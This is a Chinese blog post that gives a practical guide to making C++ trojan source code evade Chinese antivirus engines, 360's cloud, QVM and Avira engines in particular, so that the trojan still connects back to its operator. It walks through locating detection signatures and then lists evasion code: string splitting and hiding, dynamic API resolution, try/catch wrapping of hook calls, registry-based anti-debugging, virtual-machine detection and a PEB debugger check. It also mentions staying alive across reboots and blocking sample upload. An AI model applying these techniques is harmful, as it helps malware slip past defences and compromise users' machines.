zoukankan      html  css  js  c++  java
  • 浅谈C++源码的过国内杀软的免杀

    以下只是简单的思路和定位。也许有人秒过,但是不要笑话我写的笨方法。定位永远是过期不了的。

    其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 。所以写出这篇文章。(大牛飘过)

    只是个人实战的经验而已 ,没有任何技术含量。ok  我们开始

    我们只谈vc++源码免杀 ,过掉 国内的杀毒软件 。 达到不损坏功能 正常上线 从而无视杀软的存在

    首先说中国国内杀毒软件的特征 。

    1  金山毒霸 ,我个人觉得杀的代码部分和字符串还是比较普遍的 。输入表函数 我个人不多见 。

    2  瑞星 ,经实战经验 ,瑞星杀毒软件是垃圾。 过掉金山 也就过瑞星了  除非杀敏感的字符串 。

    3  江民 ,纯属基本就是杀字符串 。。 大家可以进行 隐藏代码 就可以。。你懂得

    4  也就是大家最头疼的  360杀毒 。这个就是重点。因为过掉360 -5引擎 基本国内就差不多了。

    简单介绍下 ,360云查杀+BD常规+qvm+国外引擎小红伞+主动防御  。


    详谈360各大引擎套路 你懂得...

    (1)360云查杀 ,其实就是qvm和红伞的 集成版  。 也就是云qvm  实时鉴定 、 也是大家最头痛的。

    (2)BD引擎 我个人怀疑 也有点智能  。有时候大家会认为定位不到或者定位错误 。也就是本地杀代码 函数 等等都有可能吧,我个人过BD 不太感冒  所以没有深入研究。

    (3)qvm ,所谓qvm引擎 其实就是 高启发+行为判断+特征  ..这个毫无疑问  智能引擎 。

    (4)红伞 ,也就是跟qvm差别不大 。也属于智能 。大部分在杀行为。

    (5)主动防御引擎,其实不存在 。也就是卫士 提示主动防御。(也就是说过掉表面 不过提示那是白费)


    详谈360 各引擎的 定位套路 方法 以及思路。

    前提,注释掉 区段合并 + 延迟加载+ 优化 。删除版权信息 以及图标 (这里也是在排除可能性)以及查看模式R 模式, 不要用debug模式  ,那是调试模式 。(必然 必须的)

    其实过掉360 引擎 。也许还有很多方法,我只说说我的定位套路。

    第一步  断网 ,关闭所有引擎 ,开启云杀 ,也就是定位云杀的本地 。 很垃圾很好过。

    第二步,继续过BD  ,定位 方法 一样, 正向 跳过1000 头 。(源码免杀不可能杀头 所以跳过1000头)定位  根据定位情况解决  ..

    第三补步,关闭所有杀软,定位qvm  。方便做定位正确 ,那么我们要加上 反调试代码  (我个人是必须的)以及其他手段 ,因为qvm 是智能的 。大家都知道 qvm杀的百分百是输入表函数 。所以 大家就要逐一 填充定位。(你懂得)填充到哪里 哪里不杀  那么好吧  就是那个dll里 。 所以 反向定位那个段。基本不会有什么问题 ,然后逐一的填充  逐一定位 。这里给大家举例,kernel32.dll +user32.dll 这个2个dll填充。那么就在这里 ,(一般填充跳过 GetProcAddress和LoadLibrary 因为杀那2个函数 说明是假的,定位错误。所以没必要。) 这样定位来 ,如果还是定位不到,那么就是杀的行为判断,需要反调试代码。或者大家可以进行预处理来测试 。比如说 转换大小和最快模式 ,加 减 去版权和图标,都会影响到整个特征的排序。如果那样进行转换 排除 填充所有常见dll还是被杀 ,那么就可以选择放弃 。或者找更有效的反调试方法。

    第四 , 小红伞引擎 。也是大家头疼的问题。 我个人的实战经验 过掉小红伞  基本上要加版权的。不知道怎么搞的。我也郁闷 也没深究。没有版权 怎么着 都会杀。我个人认为 。。然后定位方法 基本跟qvm差不多 也是智能 。 一般总会定位错误函数,没关系 继续定位 , 过掉智能 要就是耐心 。

    第五, 也是大家最头疼的问题 ,云查杀 ..我个人表示鸭梨很大。上面我也介绍了  这里再简单说一下云查杀思路 。也就是云的实时鉴定 ,通过什么呢?那么就是qvm和红伞的引擎库了。 估计还有其他行为 ,有待研究。(据了解 360开发者 是一群黑客.你懂得是什么意思)言归正传 ..云查杀  需要联网定位的。 但是想过掉云查杀  必须要过掉前面几个引擎 。最后过云杀 。云杀也是一样  杀的是输入表函数 ,我以前认为云杀 是人工一秒云鉴定 。后来发现貌似不是,是个云qvm.很繁琐很繁琐的 。 提起云杀我就恶心 。但我不得不说 实在是太强悍 太强悍了。 加上qvm和红伞。简直就是让免杀者感觉很蛋疼的一件不蛋疼的事。定位方法 需要正向定位 ,也是逐一去圈。去排除 。傅哥说,动态调用10个函数以上 ,假如可以过掉,那么你下次再拿这套源码定位的时候  很难很难, 可以说基本没什么办法过掉 ,也就是说定位不到输入表函数 。就算定位到  也是些不能调用的地方 函数、。 相信大家都有一套自己的方法,这里我就不废话了。还有一点好多情况 会杀资源  具体方法很多 。大家去JKC 残壳等等 论坛找找相关教程 很好解决 。比如过掉dll但是杀dat的dll资源,那么填充MZ头,在exe的源码里加代码  运行释放dll 加上MZ 。呵呵 这个你也懂得

    说实话, 我暂时只能想到这些 。 具体 要靠自己 要靠实战经验  更要有耐心 。有时候我也会为一个问题 郁闷一个星期 。。所以不要轻易放弃 。


    总结以上

    360 , 强  强的很 。 但是过掉他 方法很多  具体我不说qvm和红伞 , 就说云引擎。比如说upx压缩  可以过掉,现在不知道封了没  。 其实玩黑 ,就是举一反三  活学活用  不管是什么 。不管是免杀  还是渗透  。要对自己有信心  。 一天不行 两天  两天不行三天, 当初我因为免杀实战 ,差点走火入魔了。呵呵 ,总结我不说思路,只说自己要有耐心 , 就像是赚钱养老婆是一回事 。放弃了什么都不要说 ,成功了一过掉杀软,那么 满足感是有的  说明什么  你懂得 呵呵 。。。跟大家扯淡一会 。。

    好继续说。

    反调试代码我就不发给大家了 网上也有, 或者去下载多点源码  好多源码都处理过, 所以要学会借鉴 ,别人的代码和花指令 。发下 常用的动态调用以及 字符串隐藏 等,

    1.字符串连接

    //////////////////////////////////////////////////////////
    //把字符串"canxin"连接起来(字符串连接法)
    char *str1="can", *str2="xin",*str3=NULL;
    str3=new char[strlen(str1)+strlen(str2)+1];
    strcpy(str3,str1);//把str1所指由NULL结束的字符串复制到str3所指的数组中
    strcat(str3,str2);//把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'')并添加''
    //这样就实现了str3=str1+str2,把str1和str2连接起来了
    //////////////////////////////////////////////////////////


    2.字符串隐藏

    char XXX[] = {'c','a','n','x','i','n',''};


    3.动态调用

    ***************定义*******************
    HANDLE
    WINAPI
    CreateToolhelp32Snapshot(
        DWORD dwFlags,
        DWORD th32ProcessID
        );
    ***************列子*******************
    typedef HANDLE (WINAPI *CreateToolhelp32SnapshotT)
    (
        DWORD dwFlags,
        DWORD th32ProcessID
        );
    CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateToolhelp32Snapshot");


    4.异常try catch

    //////////////////////////列子//////////////////////////

    UnhookWindowsHookEx(m_pTShared->hGetMsgHook);

    //////////////////////////列子//////////////////////////

    -------------------------生成后-------------------------

    char canxin=1;
    try
    {
    if(canxin=1)throw 31;
    }
    catch (...)
    {
    UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
    }

    -------------------------生成后-------------------------

    下面谈一下常见的问题 ,比如说BD  云本地,等等常见定位 错误 以及常见解决方法。比如说常见定位BD ,一次生成 ,查杀, 生成20块,查杀20块,大家有可能误解 定位错误 死循环。 其实非也,可以继续定位继续二次  。知道定位2大小,不杀为止,找到特征地址在OD里的位置,进行上下探查,有没有调用或者字符串的形式 ,然后再继续 搜索关键  在源码里的位置。进行分析特征 ,找到那句源代码 在上面进行加花 等处理 。还有一种可能性,无法定位到 真正的特征位置。 可以通过调试 。比如说 我个人常用的一句代码加在main函数头下,加 “   HKEY ck;
    char strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''};
    if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck))
    {
      return 0;
    }           ”

    这样直接可以直接过掉,  有时候也要看情况 进行处理, 首先就是要做好预处理   我个人一般 去掉所有优化 延迟 以及区段的处理代码 。  云本地 ,其实就是断网 定位的云的本地特征  一般不会杀 。但是强烈建议 过360 要逐一过,  不能 红伞和qvm一起过, 也不能云本地和BD 一起正向定位, 那样 不行,我还是怀疑BD也有干扰效果  。所以,除云查杀意外, 其他都更新最新库  进行断网 。全部过掉,再联网过云。

    接下来再说一下常见过云查杀技巧  ,常见一般dll和dat已经过掉, 但是生成木马 却被干掉,这是因为行为 或者是dll和dat的行为, 或者杀到了 dll在exe里的资源 ,也就是说资源也是重点  大家进行排除,还有一个就是加个正规文件资源进去 ,这样也有效果 ,如果生成还杀 那么填充资源头 进行处理等等。然后配置信息里 服务名称等 随便输入 不要输入敏感字符 ,比如说360. 或者什么模块什么的。都是敏感的 。

    现在简单谈一下  过提示这一方面 ,其实现在的360 已经基本把全部精力 放在了云和qvm这里 。 而安全卫士过掉的难度 也大大降低。所以过提示基本没什么难度 ,再一个就是卫士的本地引擎,以及云引擎。这个我觉得没必要多说, 就是一秒云鉴定, 没什么鸡肋的方法 。只有定位卫士   。往往有时候qvm那云和杀软的云  杀到的特征不太一样,  可能库也不一吧  。这个大家进行测试 ,进行排除 应该不难 。现在就是2个问题,一个云查杀 , 再一个就是 重启上线问题,   以及防上传 ,这些都是必须的。思路就不说了,大家可以去论坛探讨 或者多看看教程 。


    给大家点代码 ,反调试

        HKEY ck;
    char strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''};
    if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck))
    {
      return 0;
    }

    bool IsVirtualPC()//反nod32查杀
    {
    __try
    {
      __asm
      {
       mov eax, 1
        _emit 0x0F
        _emit 0x3F
        _emit 0x07
        _emit 0x0B
        _emit 0xC7
        _emit 0x45
        _emit 0xFC
        _emit 0xFF
        _emit 0xFF
        _emit 0xFF
        _emit 0xFF
      }
    }
    __except(1)
    {
      return FALSE;
    }
    return TRUE;
    }



    if(IsVirtualPC())
    {
      return 0;
    }

    _asm push esi;
    _asm mov esi,46;
    _asm inc esi;
    _asm mov eax,dword ptr fs:[esi+1];
    _asm mov eax,dword ptr ds:[eax+24];
    _asm mov eax,dword ptr ds:[eax+12];
    _asm cmp eax,2;
    _asm pop esi;
    _asm je Begin;
    _asm lock dec ebx;
    Begin:

    HKEY dd;
    char sof1[]={'S','O','F','T','W','A','R','E','\','C','l','a','s','s','e','s','\','.','3','8','6','\',''};
    if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,sof1,0,KEY_ALL_ACCESS,&dd))
    {
      __asm nop;
      __asm nop;
      return -1;
    }

  • 相关阅读:
    hdu 4407 Sum 容斥+当前离线
    2014第11周二开发记
    2014第11周一word样式
    2014第10周日
    2014第10周六
    2014第10周杂想
    2014第10周四项目开发回顾提纲
    2014第10周三高效程序员的习惯
    2014第10周二程序员思维
    2014第10周一
  • 原文地址:https://www.cnblogs.com/microzone/p/3261840.html
Copyright © 2011-2022 走看看